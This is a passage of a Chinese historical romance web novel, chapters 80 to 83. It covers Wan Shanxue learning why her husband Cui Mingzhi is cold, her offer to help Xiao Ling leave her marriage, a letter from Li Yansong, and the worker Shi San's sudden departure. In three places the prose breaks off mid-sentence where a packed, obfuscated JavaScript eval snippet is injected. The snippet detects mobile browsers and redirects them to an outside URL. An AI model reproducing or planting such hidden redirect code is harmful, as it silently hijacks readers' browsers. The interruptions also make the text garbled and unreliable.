屋子里彻底安静下来，只余窗外隐约的风拂花枝声，前厅飘来模模糊糊的宴饮喧哗，反倒衬得此间愈发寂寥。 万山雪这才有机会细细打量近在咫尺的萧泠。 乍见时只觉她气质清华不可逼视，此刻相对而坐，才惊觉她清瘦得厉害。腕上水头极好的翡翠镯子，圈口松松的，随时都能掉下来似的。脂粉掩不住眼底淡淡的青灰，那是长年累月不得安眠刻下的痕迹。 最让人心惊的她周身萦绕的寒凉气息，明明已是仲春，她却似仍被困在冰天雪地里。 “夫人太清瘦了。”万山雪轻声开口，语气里满是关切，“可是生产之后操劳过度？” “不过是近日睡得浅些，并无大碍。”她目光落在万山雪脸上，笑意清浅，“其实，今日你若不来，改日我也打算递帖子拜访的。一来是谢你照护舍妹的恩情，二来是受人之托，有几句话，需得当面传到。” 她从袖中取出一封信。轻轻放在两人之间的紫檀小几上，动作郑重。 万山雪目光一扫，心尖骤然一颤——那是崔明之的字迹。 “这是明之托人辗转送到我手中的。他信中嘱托我，若你遇到难处，务必替他照看一二。你独自在晋陵支撑茶园，他心中实在难安。” 万山雪暗自诧异，不料他竟会写信给萧泠，还这般郑重托付。他们之间的情意，想必是很深厚的了。 “很意外吧？”萧泠仿佛看穿了她的心思。 “有些事，明之自己或许永远不会对你说。但我既受他所托，又听湘儿说起你心思剔透，心性坚韧，思来想去，觉得该让你知道。” “是有些意外，不知他为何事烦扰夫人。”万山雪老实答道。 “时间不多，我也不绕圈子了。他待你那般模样，并非天性冷漠，更非有意苛待。追根究底，与我有关，更与他母亲有关。” 此话一出，万山雪心里重重一跳。听这口气，夫妻间最私密难言的境况，崔明之竟也不瞒萧泠？ “那是很多年前的事了。” 萧泠看着窗外，似是陷入了回忆，“我与明之同年，萧家与崔家都是经商人家，两家人时常走动。十六七岁，正是情窦初开的年纪，加之两家交好，朦朦胧胧的，便有了些信件往来。如今回想，内容实在单纯得可笑，不过是一起品评京城风物见闻，或是抄录些风花雪月的诗词，彼此分享。但在那时，只觉得每一个字都藏着只有彼此懂得的秘密，重若千钧。” 阳光透过窗棂，在萧泠苍白的脸上投下淡淡的光影，她的眼里泛起了些许俏皮的笑意：“那些信笺，若是如今还收着，也不怕翻开给你看。” 万山雪也不禁跟着微笑：“少年少女的心事，本就干干净净、不怕见光的。” “只是后来，这件事终究还是被你婆母知晓了。” 萧泠的笑意掺了苦涩，“崔家偌大家业，孤儿寡母支撑着实属不易。尤伯母对明之期望极高，一心想让他娶一位家世显赫、能对崔家生意大有裨益的官家小姐。在她眼中，任何无关利益的情感牵绊，都是极危险的，必须趁早扼杀在萌芽里。” 万山雪点点头，这倒是颇符合婆母的一贯作风。 “于是，她做了一件极端的事。” 萧泠眼中掠过不忍，摇了摇头，“她寻了许多容貌姣好、姿色各异的女子，轮流送到明之房里。” 她顿了顿，声音更低，“她的本意，是想用这种极端的方式，让明之多见识、多经历，让他早早明白，男女之情不过是皮相欲望，转眼即空，根本不值得挂心沉醉。她要他断情绝爱，心志如铁，一切以事业为重。” 万山雪听得脊背发凉，一股寒气从脚底直窜上来。 原来如此，原来如此。她虽然也模糊往这方面怀疑过，却从不曾想过背后 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17087010|190081||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 竟是这样的不堪。 “那……后来呢？” “那段时间，他几乎快要疯了。”萧泠闭了闭眼，“形销骨立，几乎不成人形。是我弟弟萧慎，时常去陪他，想尽办法开解劝慰，陪他熬过那段最黑暗的日子。他才一点一点，慢慢恢复了表面上的正常。所以，尤夫人后来对萧家的感情一直很复杂，她既感激萧慎在关键时刻拉了她儿子一把，也很怨我当初与明之萌生情愫，才招致后来种种。” “该后悔的是她自己的作为。天下怎会有这样的母亲？若非今日听姐姐所说，当真做梦也想不到个中缘由。” “她悔啊，可悔之晚矣。”萧泠继续说着，“经此一事，原本暗中相看好的那几家官宦女儿，她是再也不敢提了。若是嫁过来受了这等难以启齿的委屈，对方娘家岂能善罢甘休？一旦闹将出去，明之便彻底无法做人，崔家的脸面也将扫地无存。” 万山雪恍然，随即涌上一股浓重的酸涩，直冲鼻尖。 难怪会轮到她万山雪，难怪不满兰芬的种种条件，最终还是选了她。 尤氏必然是看中了这一点——继母虽是她的姨母，却自有亲生儿女，即便她在婆家受了天大的委屈，娘家权衡利弊，也不会豁出去为她撑腰。 尤氏是怕儿子不能人道的秘密泄露，急于寻一个稳妥不生事的儿媳遮掩。兰芬是想打发前房所出的女儿，顺带赚一笔丰厚聘礼填补自家，一拍即合。 真真是瞌睡遇见枕头。 她忽然很想笑，笑这命运弄人，笑这世事荒唐，眼眶却不受控制地发热发胀。 “在外人看来，他还是那个年轻有为、冷静持重的崔明之。可我与弟弟都知道，那个曾经爱说爱笑，对人生充满憧憬的少年，已经死了。他母亲成功地将他心中对情爱的信赖与期待，彻底摧毁了。” 万山雪想起那封来信末尾，力透纸背的“愧悔如潮”四字。 日光又移过一寸，照亮了萧泠半边消瘦的脸颊。万山雪痴痴地想：这世间被辜负的，也不止她一人。至少她目前比萧泠还要自由些。 这样想着，她便伸出手，轻轻覆在萧泠冰凉的手背上。 “姐姐，你可曾后悔过，当初没有为年少时的情意，尽力争取一番？” 萧泠明显怔住了。 良久，她才缓缓抬起眼，说道：“我出嫁之前，萧慎也劝过我。他说，若我愿意，他可以想办法说服父母，与崔家联姻。既能让我嫁到知根知底的人家，不必承受远嫁且门第悬殊的种种风险，也能慢慢治好明之心里的伤。” 万山雪怔住：“那你为何……” “当时，吴阻发现其堂兄吴险对我有意。为了与他置气，抢先去皇上面前求了赐婚的恩典。虽然起初还未公之于众，尚有挽回余地，可若我拒婚，转而嫁给明之……以吴阻那般狭隘阴狠、睚眦必报的性子，必会认定我萧家折他颜面，届时迁怒报复，我父母年事已高，弟妹还小，我不能让全家人因我一己之私，惹上这等灭顶之灾。” 她说得平静，可万山雪却听出了话语下深埋的惊涛骇浪。 “所以你就嫁了。”万山雪轻声说。 “所以我就嫁了。”萧泠重复了一遍。 屋子里再次陷入长久的沉默。 日光如水，静静流淌在两人身上，将她们的影子投在身后的粉墙上，拉得很长很长。 81. 第 81 章 屋内静了许久，萧泠斟了杯温茶递到万山雪面前，轻声道：“今日见了妹妹，我才真正明白，为何明之在信里说，如今他满心满眼皆是你。” 万山雪正端着茶盏抿了一口，闻言动作一顿，淡笑道：“他这话，太假了。” “以我对他这些年的了解，这话并非虚言。” 萧泠恳切说道，“他说，起初娶你，确是遵了母亲之命。因这婚事非出本心，他心底又藏着那点旧痛，便只能刻意与你疏远。到后来，他慢慢发觉了你的种种好处，可你已经被他伤透了心，再也不肯回头。妹妹，容我为他求个情吧。明之这些年活得实苦，心里更是日日煎熬，你看在……你若愿意给他个机会，我想他往后余生，定会拼尽全力来弥补你。” 万山雪噗嗤一笑：“姐姐也不知究竟该看在什么份上，让我原谅他。既没有夫妻之恩，也没有孩子维系，连婆媳关系亦冷如冰霜。姐姐可知，我们两家为何会结下这门亲事？” 萧泠摇了摇头。 “在我出嫁之前，曾有人冒用崔明之的名义，与我通了整整半年的信。” 万山雪缓缓说道，“那些信写得极好，谈古论今，评论诗画，聊世间风物，也说理想襟怀。那个与我通信的‘崔明之’，温文尔雅，才情透纸而出，懂笔墨间的趣致，更懂得尊重女子心意，珍惜我们的情分。” 她望着萧泠，眼底浮起细碎的光：“姐姐该知道，一字一句铸就的心意，对于深闺女子而言，是怎样的分量。我那时只当上天垂怜，竟有幸遇见了世间难得的知音，遇见了那个懂我惜我的人。” “那信……不是明之所写？”萧泠的眼底满是不敢置信。 “自然不是。” 万山雪唇角的笑意冷了几分，“是我继母兰芬，指使身边的丫鬟代笔写的。” 这句话出口，她分明看到萧泠猛地打了个寒颤——人心最幽微、最歹毒之处，令人不寒而栗。 “她本是我母亲的庶妹，一直憋着一口气，非要与我母亲争个高低。母亲在世时，她样样比不过，只能藏着掖着。母亲去了，她费心进了万家门，做了我的继母，仍想在儿女事上，争一场输赢。她知晓崔老夫人寡母独子度日不易，必会挑剔儿媳，便生出了这等毒计：先让人冒充崔明之与我通信，一点点撩动我的心思，再借着悄悄将这事散播出去，令万、崔两家骑虎难下。我与崔明之的婚事，从头到尾，只是一场精心编织的骗局。” “我不怪姐姐为明之说话。”万山雪的语气柔和下来，“与姐姐打交道的，是那个真实的、有血有肉的崔明之，你自然会疼惜着他。可我不一样——我自始至终倾心喜欢的，从来都不是真正的他。” 萧泠才长叹一声，眼里满是心疼：“好妹妹，我当真没有料到，你们之间，竟是这样一段曲折的故事……是我唐突了。” “他未去东洋之前就已经对我几次表白心意，可我倦了，倦极了。且不论成婚前两年的种种，就在去岁夏日，我被婆母罚跪一夜昏倒时，他从我旁边路过，连看都未曾看一眼。乳母下葬我哀哀欲绝时，他又在哪儿？我因思念乳母独自垂泪时，他撞见了不说安慰，反而嫌我哭哭啼啼惹他心烦。如今我心冷了，不想再围着他转了，他倒来说爱我……我若就此回头，无异于和他站在一起，欺负从前的自己。” 她说着，缓缓起身，走到窗边，抬手推启了半扇窗棂。春日的风携着融融暖意拂进来，轻轻拂乱了她鬓边的青丝，也吹散了屋中几分沉郁的气息。她望着窗外的春色，目光悠远，似落进了无尽的过往里。 “最可笑的是，离京前，我曾无意间听见婆母与陪嫁嬷嬷说，若非明之这些年冷待我、磨炼我，我只怕连京城都迈不出去。换句话说，我婚后走的每一步，学会的每一件事，都要感谢他们的苛待。” 她看向萧泠，悲凉笑道：“姐姐你说，在他们的眼里，我何其低贱啊！仿佛温情与爱意、尊重与珍惜，都只会使我堕落不堪。必须要靠着他们的白眼鄙夷，才能活出个人样。” 萧泠静立在原地，默然无言，半晌她才轻轻开口：“我不劝你了。人生在世，只求无愧于心。你有权知道所有的真相，也有权依着自己的心意做决定。” 她顿了顿，眼中漾开一抹温柔，藏着女子间的惺惺相惜：“这世道对女子，本就够苛刻不公了，我们若再为难自己，那还怎么活。” 万山雪望着萧泠眼中那种深切的疼惜，只觉得心底像是裂了条缝，积攒了许久的委屈心酸尽数翻涌而出，两行清泪掉了下来。 “姐姐……您过得好么？” 萧泠垂下眼帘，笑得很美，像寒冬的雪地里绽开的一枝瘦梅：“我是靖安侯夫人，锦衣玉食，仆从如云，有什么不好的？” 可她的眼底藏着那样深重的孤独。 万山雪上前一步，一把握住她的手腕：“想过离开么？” 萧泠蓦然抬头，眼中掠过一丝难以置信，似乎从未想过，在家人之外，居然有人对她说这样的话。 万山雪迎着她的目光，一字一句，说得无比坚定：“若是你想离开，只需告诉我一声，我来想办法。” 萧泠那双总是平静无波的眼眸，鲜有地掀起了惊涛骇浪，可她的脸上，却依旧波澜不惊。 万山雪暗自心疼，在外人看来花团锦簇的侯府里，她到底隐忍了多少，才练就这般功夫。 “我知这不是一朝一夕的事，要步步为营，慢慢谋划。”万山雪字字铿锵，“但是这些都不要紧。” 萧泠眼中的浪涛，渐渐平息，最终化作一片深沉的悲哀：“我走不了。” “为何？”万山雪满是不解。 恰在此时，门外传来脚步声，是萧湘的声音：“姐姐，小家伙睡醒后吐了好几回，乳母实在不放心，已经请了大夫过来，姐姐快过去看看罢。” 万山雪忽然就懂了。 女子可以潇洒自在，说走就走，可母亲不行。 那 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17095554|190081||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 份血脉牵绊，十月怀胎的骨肉情分，是沁入骨血的蜜糖，亦是嵌入肩胛的锁链。挣不脱，亦不想挣脱。 萧泠应了一声，走至门边又停住，回身抱住了万山雪，哽咽道：“谢谢你，肯对我说这句话。” “姐姐不必急着做决定。”万山雪紧紧地回抱她，声音温柔而坚定，“任何时候，只要你愿意，这话永远作数。” 萧泠轻轻颔首，眼中泛起薄薄的水光只轻轻说了一个字：“好。” 宴席散时，天边已铺满了绚烂的云霞，橘红、胭粉与淡紫交织在一起，层层叠叠，染得半边天空温柔如醉。 宾客们三三两两说着闲话，陆续告辞离去，万山雪也随着人流，缓步向外走。春日的晚风暖暖地拂在脸上，吹散了席间应酬的昏沉，让她的神思清明了几分。 车轮辘辘，载着她满身的疲惫，穿行在渐浓的暮色里。她伸懒腰舒展僵硬许久的身子，忽然碰到了什么东西。转头看去，竟见一个青布包袱叠得方方正正，安放在座位一侧，上车时竟没看见。 辛骐向来行事有度，分寸感极强，断不会将自己的东西随意置在车内。她心中生疑，伸手将那青布包袱轻轻解开。 包袱上层，是一个小巧的食盒，掀开一看，最先入眼的，是一包玲珑剔透的水晶糕，糕体莹润剔透，犹带着淡淡的桂花香。 底下是软糯香甜的桂花糖藕，酥香可口的梅花酥饼，还有一份清甜的莲子羹，盛在白瓷小罐中，罐外裹着厚厚的棉絮，尚还存着余温……无一不是她爱吃的江南名点。 食盒的底下，压着一封短笺，信封素白，无任何署名，只在信封的一角，钤着一方淡青色的梅花小印，清雅别致。 她凑到车窗边，就着天边尚未散去的晚霞，轻轻展开短笺，字迹刚劲洒脱，是黎偃松的手笔。 “偶得几样江南点心，尝之甚好，遂相赠少许，愿勿推拒。 崔福近日动作频频，行踪诡秘，颇留意石三行迹，看其架势，恐是欲拿石三做文章，借机生事，请你留心。 今日乍闻你欲涉险，一时情急，竟冒失泄露心事，多有唐突，万望海涵。前路漫漫，道阻且长，唯愿听凭己心，勿要因我心意徒增困扰。 你只需知晓，这世间，有一盏灯火为你长明，不死不休。 望你自在行走，如风如雪。” 寥寥数语，句句恳切。 万山雪捧着短笺，读了一遍又一遍，只觉一股暖流，从心底缓缓漾开，淌过四肢百骸，将今日提及旧事引起的委屈尽数抚平，满心熨帖。 她将信纸小心翼翼地贴身收好，又看向食盒——席间只顾着应酬宾客，推杯换盏，倒真没吃多少东西，美食当前，引得腹中馋虫蠢蠢欲动。 她拈起一块水晶糕，轻轻放入口中，清甜的滋味在舌尖缓缓化开，带着淡淡的桂花香。 晚风从车窗的缝隙里钻进来，拂在脸上，痒丝丝的。她靠在软垫上，唇角不自觉地扬起笑意。 82. 第 82 章 次日清早，晋陵与秀州两地便炸开了锅，流言如野火燎原，比春日东风跑得还快。 “听说了吗？定国公夫妇昨日从靖安侯府回来，双双病倒了！” “说是上吐下泻，一夜之间人都脱了形，国公夫人更是昏沉不醒，国公府连夜请了三位大夫！” “昨日不是去贺靖安侯弄璋之喜么？满月酒怎会吃出这样的祸事？” “这俩堂兄真是犯冲，听说昨儿靖安侯那刚满月的孩子也是不安稳，吐了好回奶。” …… 流言越传越邪门，不到半日，已衍生出七八个版本。有说酒菜不洁的，有说冲撞了胎神的，最引人窃窃私语的，还是那影影绰绰的“兄弟阋墙、宴中下药”之说。 这风一丝不漏地钻进了宣家宅子的窗棂。 听着景明洲与几个心腹议论得热闹，黎偃松负手立在廊下，晨雾濡湿了他玄色的箭袖。 “这兄弟俩面上的遮羞布，就快撑不住了。”景明洲啜了口茶，叹道，“金相国那边，谋逆的实证已悉数收拢。将军，咱们见天光的时候就要到了。” 黎偃松点了点头，轮廓分明的侧脸显得格外坚毅。“传令下去，全员戒备，外松内紧。给江老将军的密信即刻发出，援军必须枕戈待旦。一旦这层窗户纸捅破，便要雷霆之势一网打尽，不给丝毫喘息之机。” 景明洲领命，又提起另一事：“陕万年那边递来消息，跟着吴险的那个尤弈，就是崔明之的表兄，昨儿没露面。打听说是年前就陪着老父去了京城，探望姑母尤氏。” 廊下一时静默。 江心澜端着新沏的茶盏过来，听到这话也停了脚步，疑惑道：“崔家茶园大火，万姐姐一人苦撑，他们身为至亲，不先设法帮忙扑救残局，反先去京城探病？尤氏的病也是因为茶园被烧才起的，不从病根搭把手，反而跑去看望，纵然说上一箩筐好话，也是枉然。” 景明洲嗤笑道：“爱做表面功夫的人多了去了，这有什么可奇怪的。” 江心澜横他一眼说道：“你这个人，说机灵起来，谁也比不过，说笨起来也是真笨。那尤弈常年与姑母不在一处，能有多深的感情？这会子一听说病重巴巴跑去看望，指不定打的什么心思呢！再说他还是吴险的心腹，此去必不会只为看望姑母。” “只能说明，尤氏病重这个消息，对尤弈十分重要，重要到一得消息就起身了，还不知道崔家后来的喜讯。”黎偃松说道。 “喜讯？”两人齐声问道。 黎偃松从怀中取出一封密信，递了过去。 江心澜与景明洲一同展开，越看脸色越沉。 崔明之那位寄居在府中的表妹乌思羽，竟已于年前诊出喜脉。崔母尤氏因儿子与万山雪成婚三载无出，久怀郁结，如今乍闻此讯简直是喜出望外，连茶园焚毁的愁绪都冲淡了不少。还极力周全，对外声称崔明之离京前两家便已过礼，此番不过是水到渠成。 晨雾丝丝缕缕，缠绕着庭中老梅的枯枝难舍难离。前些日子已经回暖，这两日雨丝绵绵，带着阴湿寒意，浸入衣衫。 江心澜冷哼一声，将信拍在石桌上。 黎偃松别开脸，望向庭院外面那方灰蒙蒙的天。 他心里堵得厉害，像压着一块浸透了冷雨的青石板。眼前仿佛能看见她在焦土残梗间忙碌的孤单身影，她不该被如此对待，被至亲如此轻慢乃至羞辱。 然而，在这沉甸甸的心疼之下，竟也有丝丝缕缕甚至令他自觉羞愧的高兴漫了上来，如同石缝里钻出的倔强草芽。他知道，经此一事，她决计不会回到崔家了。 他既盼着她能及早脱离泥淖，又恨自己这份期待是要借着她的痛苦而来。 景明洲说道：“尤弈父子既已到了京城，得知这般情形，也该放心了，更该记挂万夫人独力难支，早日返回相助才是。何以滞留不归？” 黎偃松冷笑道：“只能说明，他们并不真的关心崔家。或者说，尤弈是借着老父亲关爱妹妹之心，完成自己的差事。” 话音未落，见宣赞之由宣安陪着，缓步走了过来。 黎偃松与景明洲一左一右上前，扶着老爷子坐下。 “宣叔走了？”黎偃松问道。 “走了。”宣赞之叹了口气，“这老小子，定是起了疑心，却又抓不着把柄。这回特意跑来，扯个幌子——说是前些日子，到邻省公干，见各处城门口都在张挂通缉榜文，有个流窜犯，专往偏僻处跑。他借着担心的由头回来看看。有的没的啰嗦了一堆，才给打发走。” 江心澜好奇问道：“什么流窜犯？” “说是杀了兄长一家五口，端的是狠辣无比。” 宣安挠挠头，一路小跑取来给她看。 画像模糊，看不出什么，文字赫然写着：缉拿凶徒右川，面黑身巨，杀害兄长嫂嫂并三个孩子。 江心澜才一念完，黎偃松心里便是一凛。 右川，石三，这也太巧了。 他拿过来一看，画像粗拙，可那黑脸、巨汉的特征，他虽未亲眼见过，可陕万年是个细心人，事无巨细都会向他汇报，早就说过石三这个从外貌到行事，都与常人不一般的汉子，亦知道他无家可归，受人排挤，万山雪处处予以照拂。 江南水乡，这样体态的男子可不多见。 虽然知道有自己的人在，还有那个忠诚护主的辛骐，她当是安然无虞的，可一想到这样双手沾满鲜血的危险人物，在那个人身边出没，他便心惊肉跳。 再想到前些日子陕万年说崔福对于石三格外关注，只怕是已经知晓了什么。 他猛地站起身，玄色衣袖带翻了桌上半凉的茶盏，引得众人都盯着他看，也顾不得了。 他必须立刻提醒她。 纵然她聪慧坚韧，纵然自己布有眼线，但明枪易躲，这般凶悍的暗影难防。他挥毫疾书，字迹力透纸背，全是叮嘱之言。 写罢，唤属下即刻送去,交代务必送到万山雪手里。 属下领命，身影迅速没入院墙之外的山林里。 黎偃松仍立在原地，雨丝愈发细密，落在头发上，凝成颗颗水珠。 庭中的雾气更浓了，将老梅、石桌、远处的粉墙黛瓦都晕染得模糊不清，唯有心头那份牵挂着的那个身影，愈发清晰。 烛火在青瓷灯盏里微微跳动着。 光晕将屋里独坐的影子拉长，投在糊着素白棉纸的墙上，晃晃悠悠，如同江中摇曳的小舟。新炭在盆里烘出暖意，驱散了江南绵绵春雨带来的潮意。 万山雪坐在临窗的方桌前，黎偃松那封密信就在手边，松墨香混着淡淡的草木气，是他独有的味道。她方才已经细细看过两遍，字里行间的担忧几乎要溢出来。 黎偃松，这个人呐…… 她用指尖摩挲他的字迹，幽幽叹息一声。 世人皆赞沉稳果决，偏对她，总藏着几分不自知的焦灼。信里哪里还有半分在外人面前惜字如金的模样，全是实打实的细碎叮嘱——当心石三，提防崔福难缠，连下雨湿冷注意保暖事宜都一一交代到。字里行间的牵挂，浓得化不开。 她轻轻折起信，照旧压进妆匣最底层。 “二奶奶，石三来了。”花露在门外轻声禀报。 万山雪抬眼看向门边。 石三 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17111900|190081||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 身形高大，几乎堵住了半扇门的光。脸上没什么表情，黝黑的面皮在昏黄光线下更显沉黯，只有一双浓眉之下的大眼，偶尔掠过一点野兽般警惕的光。 她正斟酌着如何开口，一向寡言的他倒是先开口了：“东家，那撒石灰的人，我寻着影儿了。” 万山雪昨夜已经听细心的橘霜说起，一个与崔福走得很近的单身汉左脚有疾，走路时右腿用力，鞋子磨损得厉害，与石三此前观察到的情况一致。 但是此刻见到这寡言的汉子好容易开口，还是温声鼓励他说下去。 石三比划了一下：“前几日，来寻崔管家吃酒扯闲篇的那个陈九，我留心看过，他走路姿势，跟那脚印对得上。” 万山雪心里很感动，这个沉默的大汉，不声不响，却日日为她留心。 “石大哥，多谢你，一直为茶园的事情尽职尽责。” 万山雪将桌上的两套新衣服拿给他，“你身量高，成衣铺子买的总是不合适，这是几个丫头估摸着慢慢做出来的。我的丫头们都随我，于针织女工不太在行，你别嫌弃。不过料子比外面买的成衣好些。” 石三明显愣住了，看着塞到怀里的衣裳，又看了看万山雪，没有说话。 “今日叫你来，是想问问，你家中可有妻儿老小？若有难处，或是需要捎个信、寄些银钱，我总能帮衬一二。” 石三的嘴唇抿成一条直直的线，眼帘微微垂下，遮住了眸中神色，整个人像是缩回了石头做的壳里。 万山雪不催，只静静地等待着。 烛花“噼啪”爆了一下，火光猛地一跳。 等了良久，见他仍是不肯说话，她又轻声说道：“你做事勤恳，一把好力气，又这般细心，为何总不愿签那长工的契书？是有什么顾虑么？” 她问得很轻，目光却紧紧锁着他。 石三的头垂得更低，还是不说话，只是那垂在身侧的大手，慢慢握成了拳，青筋一根一根凸起。 他整个人都在颤抖。 万山雪的心一下子揪住了。 眼前这个人，与其说是通缉令上描述的“杀人如麻的凶徒”，不如说是一头形单影只的孤狼。 那灭门惨案的背后，或许藏着常人难以想象的悲怆与不得已。 “石大哥，”她沉静说道，“你做人做事，我看得分明。无论你从前走过什么样的路，经历过什么事，我只认这个在茶园里踏实做事的石三。你在这儿一日，我便护你一日周全。” 石三猛地抬眼，满眼震惊，仿佛不敢置信。他的喉结剧烈地滚动了几下，却依旧发不出任何声音。 万山雪迎着他的目光，毫不躲闪，“我不是要探听你的私隐。只是若真有什么难处，你总要说出来，好让我心里有个准备。” 屋里陷入一片长久的静默，只有窗外淅淅沥沥的雨声，绵绵不绝。 良久，石三那紧握的拳头，一点点松开了。 他深深地看了一眼万山雪，而后，这个高大得像山一样的汉子，向后退了一步，又一步，直至退到门边的阴影里。 他撩起破旧却浆洗干净的衣摆，对着万山雪，端端正正，双膝跪了下去。 “砰。” “砰。” “砰。” 额头触在冰凉坚硬的青砖地上，发出三声闷响，仿佛敲在了人心上。每一下，都带着悲壮的决绝。 磕完头，他抱着衣服转身走了。 潮湿的冷风挟着雨丝立刻涌了进来，吹得烛火剧烈摇曳。他那宽阔的背影很快没入门外浓稠的夜色和雨幕之中，脚步声沉甸甸的，渐行渐远，最终被雨声彻底吞没。 83. 第 83 章 石三走了。 天将亮时，蒙蒙雨丝才堪堪歇住。 是负责洒扫的春婆先发觉异样的——往日这个时辰，石三早该收拾妥帖，在茶园里忙活开了。可今日，他住的西屋木门洞开，里头空落落的，连床头那只常用的大瓷缸子也没了踪影。 消息传到万山雪耳中时，橘霜正替她梳妆。她搁下手里的铜镜，淡淡问：“何时发现的？” “早起洒扫时才瞧见。”橘霜低声回话，“问过守夜的伙计，说昨夜三更天，还隐约听见他屋里传出呼噜声。” 万山雪没再言语，看着橘霜将最后一缕青丝仔细绾好，才起身往前院去。 前院已然闹哄哄一片。 崔福家的叉着腰站在空屋门口，指着几个低头瑟缩的下人，粗着嗓门呵斥：“你们都是死人不成？一个大活人没了都不知晓？那黑大个忒不是东西，吃崔家饭，住崔家屋，二奶奶待他何等宽厚，他倒好，说走就走，连声招呼都不打，什么狼心狗肺的玩意儿！” 她骂得唾沫横飞，额上青筋直跳，那副痛心疾首、为主家抱不平的模样，瞧着倒也十分真切。 几个下人被吓得头都不敢抬，唯唯诺诺应着。 万山雪走到廊下时，崔福家的正骂到兴头，一扭头见了她，立马收了声，快步凑上来，脸上堆着十二分的义愤：“二奶奶您瞧瞧，石三竟一声不吭就走了，枉费您这些日子对他那般照拂。” 万山雪没接话，只立在空屋前朝里望了眼。屋里收拾得极干净，炕席平展，被褥叠得方方正正。 她目光转落在崔福家的那张因激动而涨红的脸上，淡淡说道：“我当什么大事，婶子何必动怒，他本就是短工，契约上写得明白，来去自由。如今要走，知会一声是有礼，不说也无可厚非，随他去吧。” 一旁的崔福沉声道：“二奶奶待人宽厚，可这事儿传出去，旁人还道我们崔家连个下人都约束不住，好说不好听。依我说，他好端端的突然走了，必是有心虚不敢见人的事，就该报官，抓回来一五一十问个清楚！” “报官？”万山雪的目光清凌凌扫过崔福两口子的脸，“报什么官？以什么名目抓人？契约期满，工钱结清了，他要走，犯了哪条王法？” 崔福被她一问，那股汹汹气势霎时矮了半截，讪讪道：“二奶奶说的是……我就是气不过，替您不值。” “没什么值不值的。”万山雪不再看他们，转身往正厅走，“眼下茶园人手足够，这点小事，不必再喧哗。” 她背影挺得笔直，仿佛这真只是件微不足道的小事。可心底却空落落的，难受得紧。 红璎端上刚沏的热茶，她捧在手里，只管怔怔发愣。 想起有一回山风骤起，花露送茶水来时，面纱被风吹落，脸颊上那片蜿蜒的疤痕露了出来，是石三挪了挪他宽阔的身形，不偏不倚，恰好替她挡住了周遭探询的目光。 想起有次雨后路滑，宣棋玩耍时被碎石绊了一跤，手掌擦破了好大一块。没过两天，门前屋后、路边檐下的碎石块，竟都被清理得干干净净。万山雪心里清楚，是石三趁着晌午歇晌的空隙，一点一点捡拾干净的。 还有一回她上马车时不慎岔了气，石三不知怎的知晓了，默默摘了一把草药送来，说煮水喝能顺气。 ……点点滴滴，润物无声，都刻在了心底。 她早已将这位沉默寡言的汉子，当成了这异乡别院里，如家人一般令人安心的存在。 可如今，他竟不声不响地走了。 昨夜那三个结结实实的响头，原来是诀别。 黎偃松的提醒约莫是对的，否则他不会走得这般唐突。她闭上眼，密信里的字句又浮上心头：“崔福与府衙人走动频繁，恐生事端。” 她心乱如麻。石三究竟有什么苦衷不能说？是不信她能护住他，还是不愿将她拖进这潭浑水？ “宣颐姐。”她放下茶盏起身，“今日茶园的诸事，要劳你多费心了。” 宣颐应了声，瞧着她苍白的脸色，眼里满是担忧。 “红璎，去备车，我要出门一趟。” “你要去哪儿？”宣颐急忙追问。 “秀州府衙。”万山雪放下早已凉透的茶盏，缓缓站起身，“去见一位我舅舅的故人。” 秀州晋陵相邻，府衙坐落在城东，朱门高墙，一对石狮威严踞守两侧，透着凛然肃穆。 她要见的，是府衙刑名房的主事书办，宋昭宋师爷。 守门的衙役拿着她舅舅兰中正的名帖进去通传，不多时，一个年约五旬、面容清瘦的文士匆匆走了出来。 他见到静立车旁的万山雪，先是一愣，随即脸上绽开真切的笑意，眼角的皱纹都舒展开来，一壁引着她往里走，一壁感慨：“一晃三十几年了……当年我同你舅舅一道求学，常跑去你外祖家蹭饭。你母亲那时才十三四岁，总坐在院里的石榴树下读书练字。唉，可惜得很呐。” 万山雪心头又酸又暖。 母亲去得早，留在记忆里的影子早已模糊，隔了这许多年，在他乡从一个陌生长辈口中听到关于她的点滴，倍感暖心。 宋昭将她引到一间僻静的值房，亲自斟了茶。几句客套寒暄，句句都透着对故人后代的亲切照拂，万山雪悬着的心，总算踏实下来。 闲话过后，宋昭放下茶盏，目光温和地看向她：“侄女今日特地过来，定是有要事吧？但说无妨，只要伯伯力所能及，绝不推辞。” 万山雪斟酌着开口：“宋伯伯，实不相瞒，今日前来，确有一事想请伯伯指点。” “茶园里近日走了一名短工，此人寡言少语，但做事极踏实本分，不知为何竟不告而别。短工来去自由，本无特别，只是……” 